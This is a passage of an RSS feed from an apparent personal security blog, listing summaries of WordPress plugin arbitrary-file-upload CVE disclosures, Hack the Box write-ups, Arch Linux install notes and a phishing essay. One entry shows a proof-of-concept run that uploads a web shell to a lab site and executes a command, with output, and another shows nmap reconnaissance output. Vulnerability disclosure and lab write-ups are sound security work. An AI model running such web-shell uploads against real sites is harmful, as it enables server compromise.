preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 33750sec preferred_lft 33750sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 86119sec preferred_lft 14119sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe5b:342f/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4: docker0: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc noqueue state DOWN group default &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/pre&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;code&gt;ins_options_save&lt;/code&gt; functionality in &lt;code&gt;/wp-content/plugins/instantio/admin/tf-options/classes/Ins_TF_Settings.php&lt;/code&gt; processes file uploads without enforcing proper file type validation.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Ultimate Before After Image Slider &amp; Gallery – BEAF &lt;= 4.6.10 - Authenticated (Admin&#43;) Arbitrary File Upload via beaf_options_save</title>
				<link>https://ryankozak.com/posts/cve-2025-47549/</link>
				<pubDate>Wed, 07 May 2025 05:18:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-47549/</guid>
				<description>&lt;h3 id=&#34;cve-2025-47549&#34;&gt;CVE-2025-47549&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/beaf-before-and-after-gallery/&#34; target=&#34;_blank&#34;&gt;Ultimate Before After Image Slider &amp;amp; Gallery&lt;/a&gt; plugin does not sanitize the file types of the &lt;code&gt;beaf_options_save&lt;/code&gt; action, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-47549/blob/main/CVE-2025-47549.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-47549.py&lt;/a&gt; is provided to demonstrate an administrator uploading a web shell named &lt;code&gt;shell.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;python3 CVE-2025-47549.py https://lab1.hacker admin PASSWORD&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Logging into: https://lab1.hacker/wp-admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Extracting nonce values...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uploading web shell: shell.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&amp;#34;status&amp;#34;:&amp;#34;success&amp;#34;,&amp;#34;message&amp;#34;:&amp;#34;Options saved successfully!&amp;#34;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Web Shell Location: https://lab1.hacker/wp-content/uploads/itinerary-fonts/shell.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Executing test command: ip addr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;pre&amp;gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 127.0.0.1/8 scope host lo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 ::1/128 scope host &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s3&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 68200sec preferred_lft 68200sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic mngtmpaddr noprefixroute &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft 86113sec preferred_lft 14113sec&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe5b:342f/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    altname enp0s8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;4: docker0: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc noqueue state DOWN group default &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/ether 02:42:e5:9e:f6:23 brd ff:ff:ff:ff:ff:ff&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;       valid_lft forever preferred_lft forever&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;/pre&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;code&gt;beaf_options_save&lt;/code&gt; action calls the &lt;code&gt;beaf_save_options()&lt;/code&gt; function on line &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/beaf-before-and-after-gallery/trunk/admin/tf-options/classes/BEAF_Settings.php#L227&#34; target=&#34;_blank&#34;&gt;227&lt;/a&gt; of &lt;code&gt;/wp-content/plugins/beaf-before-and-after-gallery/admin/tf-options/classes/BEAF_Settings.php&lt;/code&gt; without enforcing any file type validation.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Migration,Backup, Staging – WPvivid &lt;= 0.9.112 - Authenticated (Admin&#43;) Arbitrary File Upload via wpvivid_upload_file</title>
				<link>https://ryankozak.com/posts/cve-2024-13869/</link>
				<pubDate>Sat, 22 Feb 2025 05:18:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2024-13869/</guid>
				<description>&lt;h3 id=&#34;cve-2024-13869&#34;&gt;CVE-2024-13869&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/wpvivid-backuprestore/&#34; target=&#34;_blank&#34;&gt;Migration, Backup, Staging – WPvivid Backup &amp;amp; Migration plugin&lt;/a&gt; for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the &lt;code&gt;upload_files&lt;/code&gt; function in all versions up to, and including, &lt;code&gt;0.9.112&lt;/code&gt;. This makes it possible for authenticated attackers, with Administrator-level access and above, to upload arbitrary files on the affected site&amp;rsquo;s server which may make remote code execution possible.&#xA;&lt;strong&gt;NOTE:&lt;/strong&gt; Uploaded files are only accessible on WordPress instances running on the NGINX web server as the existing .htaccess within the target file upload folder prevents access on Apache servers.&lt;/p&gt;</description>
			</item>
			<item>
				<title>All-in-One WP Migration and Backup &lt;= 7.86 - Authenticated (Administrator&#43;) Arbitrary PHP Code Injection</title>
				<link>https://ryankozak.com/posts/cve-2024-9162/</link>
				<pubDate>Sun, 27 Oct 2024 05:18:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2024-9162/</guid>
				<description>&lt;p&gt;Around the time Def Con was happening this year I was sitting at home feeling left out. That made me feel hacky, but I don&amp;rsquo;t get the same joy from CTFs at the moment that I used to. So, I decided to start hunting for CVEs. That lead to finding &lt;a href=&#34;https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/all-in-one-wp-migration/all-in-one-wp-migration-and-backup-786-authenticated-administrator-arbitrary-php-code-injection&#34; target=&#34;_blank&#34;&gt;CVE-2024-9162&lt;/a&gt;, which was just released today, along with the idea for a larger project that has resulted in a few more vulnerabilities yet to be disclosed.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Armageddon Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-armageddon-writeup/</link>
				<pubDate>Sat, 24 Jul 2021 16:46:43 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-armageddon-writeup/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-armageddon-writeup/badge.png&#34; alt=&#34;badge&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;&#xA;&lt;p&gt;Armageddon is an Easy level box, and it was about as standard as standard can be. The initial foothold was straight a forward Drupal exploit, and the name of the box is a massive hint (&lt;em&gt;&lt;a href=&#34;https://www.exploit-db.com/exploits/44449&#34; target=&#34;_blank&#34;&gt;Druppalgeddon2&lt;/a&gt;&lt;/em&gt;). After gaining the initial foothold, enumerating MySQL and credential stuffing gains us user privileges. All of this is pretty basic. The privilege escalation is achieved through &lt;em&gt;&lt;a href=&#34;https://gtfobins.github.io/gtfobins/snap/&#34; target=&#34;_blank&#34;&gt;snap&lt;/a&gt;&lt;/em&gt;, which was interesting to me since I&amp;rsquo;d never done this before. It was not difficult to identify or exploit though.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Ophiuchi Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-ophiuchi-writeup/</link>
				<pubDate>Fri, 16 Jul 2021 16:37:47 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-ophiuchi-writeup/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-ophiuchi-writeup/badge.png&#34; alt=&#34;badge&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;&#xA;&lt;p&gt;Ophiuchi is a Medium box with a weird name to pronounce. The initial foothold was straight forward but fun, the user flag reminds us to go back to the basics, and the root flag is a difficult mind game for those of us that haven&amp;rsquo;t even been exposed to the technology.&lt;/p&gt;&#xA;&lt;h1 id=&#34;information-gathering&#34;&gt;Information Gathering&lt;/h1&gt;&#xA;&lt;h2 id=&#34;port-scan-nmapautomator&#34;&gt;Port Scan: nmapAutomator&lt;/h2&gt;&#xA;&lt;p&gt;We begin our reconnaissance by running &lt;em&gt;&lt;a href=&#34;https://github.com/21y4d/nmapAutomator&#34; target=&#34;_blank&#34;&gt;nmapAutomator&lt;/a&gt;&lt;/em&gt; via &lt;code&gt;sudo ./nmapAutomator.sh 10.10.10.227 All&lt;/code&gt;. Among many other things, this runs our port scans with increasing comprehensiveness.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Installing Arch Linux on the Pinebook Pro with LUKS Encrypted Root...Again</title>
				<link>https://ryankozak.com/posts/luks-encrypted-arch-linux-on-pinebook-pro-again/</link>
				<pubDate>Mon, 28 Jun 2021 15:23:06 -0700</pubDate>
				<guid>https://ryankozak.com/posts/luks-encrypted-arch-linux-on-pinebook-pro-again/</guid>
				<description>&lt;p&gt;In my &lt;a href=&#34;https://ryankozak.com/luks-encrypted-arch-linux-on-pinebook-pro/&#34;&gt;previous post&lt;/a&gt; I went through the steps I used to install Arch Linux on my Pinebook Pro with a LUKS encrypted root partition. It appears that the repositories used in that post have been retired, and the packages hosted at &lt;em&gt;&lt;a href=&#34;https://nhp.sh/pinebookpro/&#34; target=&#34;_blank&#34;&gt;https://nhp.sh/pinebookpro/&lt;/a&gt;&lt;/em&gt; are no longer there. A big thanks to &lt;a href=&#34;https://github.com/nadiaholmquist&#34; target=&#34;_blank&#34;&gt;Nadia Holmquist Pedersen&lt;/a&gt; for all the work she&amp;rsquo;s done for Arch on the Pinebook Pro.&lt;/p&gt;&#xA;&lt;p&gt;The following instructions use &lt;a href=&#34;https://kiljan.org/&#34; target=&#34;_blank&#34;&gt;Sven Kiljan&amp;rsquo;s&lt;/a&gt; project. You can find his blog post discussing it &lt;a href=&#34;https://kiljan.org/2021/06/20/arch-linux-arm-on-a-pinebook-pro/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;, and the GitHub repository &lt;a href=&#34;https://github.com/SvenKiljan/archlinuxarm-pbp/&#34; target=&#34;_blank&#34;&gt;here&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Installing Arch Linux on the Pinebook Pro with LUKS Encrypted Root</title>
				<link>https://ryankozak.com/posts/luks-encrypted-arch-linux-on-pinebook-pro/</link>
				<pubDate>Tue, 15 Dec 2020 15:12:45 -0700</pubDate>
				<guid>https://ryankozak.com/posts/luks-encrypted-arch-linux-on-pinebook-pro/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/luks-encrypted-arch-linux-on-pinebook-pro/pinebook_arch.png&#34; alt=&#34;Pinebook Pro Running Arch&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;My Pinebook Pro came in last week and yesterday I finally got a chance to really play with it. The first thing I wanted to do was get Arch installed on it with an encrypted root partition. I need these notes as a reference to use the next time I do this, so I figured I&amp;rsquo;d post them up to help anyone else out that may be trying to achieve the same thing. This post ignores post installation configuration. It just gets you booting into the terminal of your LUKS encrypted partition. From there it&amp;rsquo;s up to you to setup users, install your desktop manager, etc.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Traceback Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-traceback-writeup/</link>
				<pubDate>Mon, 17 Aug 2020 14:58:00 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-traceback-writeup/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-traceback-writeup/badge.png&#34; alt=&#34;Hack The Box Traceback&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;&#xA;&lt;p&gt;Traceback is an easy level box. It&amp;rsquo;s one of the first boxes on which I&amp;rsquo;ve been able to get user and root in one sitting. There&amp;rsquo;s a little bit of OSINT and guess work involved in the initial foothold, and the user/root portions aren&amp;rsquo;t too difficult at all. The theme of the box is that it has already been compromised by another hacker (Xh4H who authoried the box), and you seem to be retracing their steps while gaining user and root flags.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Traverxec Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-traverxec-writeup/</link>
				<pubDate>Sun, 12 Apr 2020 19:04:31 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-traverxec-writeup/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-traverxec-writeup/badge.png&#34; alt=&#34;Hack The Box Haystack&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;&#xA;&lt;p&gt;Traverxec is an easy box worth 20 points, hosted on &lt;code&gt;10.10.10.165&lt;/code&gt;. As we will see the name is indicative of the vulnerability we&amp;rsquo;ll leverage to gain our initial foothold. Despite having had difficulty with a few steps, when it&amp;rsquo;s all said and done the box is rather simple. This writeup is a short one because of that.&lt;/p&gt;&#xA;&lt;h1 id=&#34;information-gathering&#34;&gt;Information Gathering&lt;/h1&gt;&#xA;&lt;p&gt;As always, we&amp;rsquo;ll add the IP of the box to our &lt;code&gt;/etc/hosts&lt;/code&gt; file. So, from here on out &lt;code&gt;traverxec.htb&lt;/code&gt; points to &lt;code&gt;10.10.10.165&lt;/code&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Plenty of Phish Trust and Gtlds</title>
				<link>https://ryankozak.com/posts/plenty-of-phish-trust-and-gtlds/</link>
				<pubDate>Tue, 28 Jan 2020 18:50:47 -0700</pubDate>
				<guid>https://ryankozak.com/posts/plenty-of-phish-trust-and-gtlds/</guid>
				<description>&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;&#xA;&lt;p&gt;For some time now, I&amp;rsquo;ve expected the introduction of new top level domains to confuse the general public. When users are confused, they&amp;rsquo;re more easily manipulated, making them more likely to fall for age old tricks like phishing attacks.&lt;/p&gt;&#xA;&lt;h2 id=&#34;new-gtlds&#34;&gt;New gTLDs&lt;/h2&gt;&#xA;&lt;p&gt;It&amp;rsquo;s been almost 9 years since the announcement below from ICANN came out regarding new top level domains, meaning there would be many more options than the traditional &lt;code&gt;.com&lt;/code&gt;, &lt;code&gt;.org&lt;/code&gt;, &lt;code&gt;.net&lt;/code&gt;, &lt;code&gt;.biz&lt;/code&gt;, &lt;code&gt;.gov&lt;/code&gt;, &lt;code&gt;.edu&lt;/code&gt;, etc.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Hack the Box Craft Writeup</title>
				<link>https://ryankozak.com/posts/hack-the-box-craft-writeup/</link>
				<pubDate>Sun, 05 Jan 2020 18:44:42 -0700</pubDate>
				<guid>https://ryankozak.com/posts/hack-the-box-craft-writeup/</guid>
				<description>&lt;p&gt;&lt;img src=&#34;https://ryankozak.com/posts/images/hack-the-box-craft-writeup/badge.png&#34; alt=&#34;Hack The Box Craft&#34;&gt;&lt;/p&gt;&#xA;&lt;h1 id=&#34;introduction&#34;&gt;Introduction&lt;/h1&gt;&#xA;&lt;p&gt;Today they retired my favorite box so far, Craft. This box was very real world in the chain of mistakes that lead to each exploit. The beer theme and Silicon Valley theme were also awesome. A+ box, and here&amp;rsquo;s the writeup.&lt;/p&gt;&#xA;&lt;h1 id=&#34;information-gathering&#34;&gt;Information Gathering&lt;/h1&gt;&#xA;&lt;h2 id=&#34;port-scan-nmap&#34;&gt;Port Scan: Nmap&lt;/h2&gt;&#xA;&lt;p&gt;We begin our reconnaissance by running a port scan with Nmap, checking default scripts and testing for vulnerabilities.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;root@kali:~# nmap -sVC 10.10.10.110&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-13 23:23 EDT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap scan report for craft.htb (10.10.10.110)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Host is up (0.40s latency).&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Not shown: 998 closed ports&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;PORT    STATE SERVICE  VERSION&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;22/tcp  open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ssh-hostkey:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;443/tcp open  ssl/http nginx 1.15.8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-server-header: nginx/1.15.8&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_http-title: 400 The plain HTTP request was sent to HTTPS port&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| Not valid before: 2019-02-06T02:25:47&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_Not valid after:  2020-06-20T02:25:47&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_ssl-date: TLS randomness does not represent time&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| tls-alpn:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_  http/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;| tls-nextprotoneg:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;|_  http/1.1&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Nmap done: 1 IP address (1 host up) scanned in 62.69 seconds&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;We see from the output above that ports &lt;strong&gt;22&lt;/strong&gt; and &lt;strong&gt;443&lt;/strong&gt; are open, meaning we&amp;rsquo;ve got &lt;code&gt;ssh&lt;/code&gt; and &lt;code&gt;https&lt;/code&gt; to play with. Let&amp;rsquo;s explore port &lt;strong&gt;443&lt;/strong&gt;.&lt;/p&gt;</description>
			</item>
			<item>
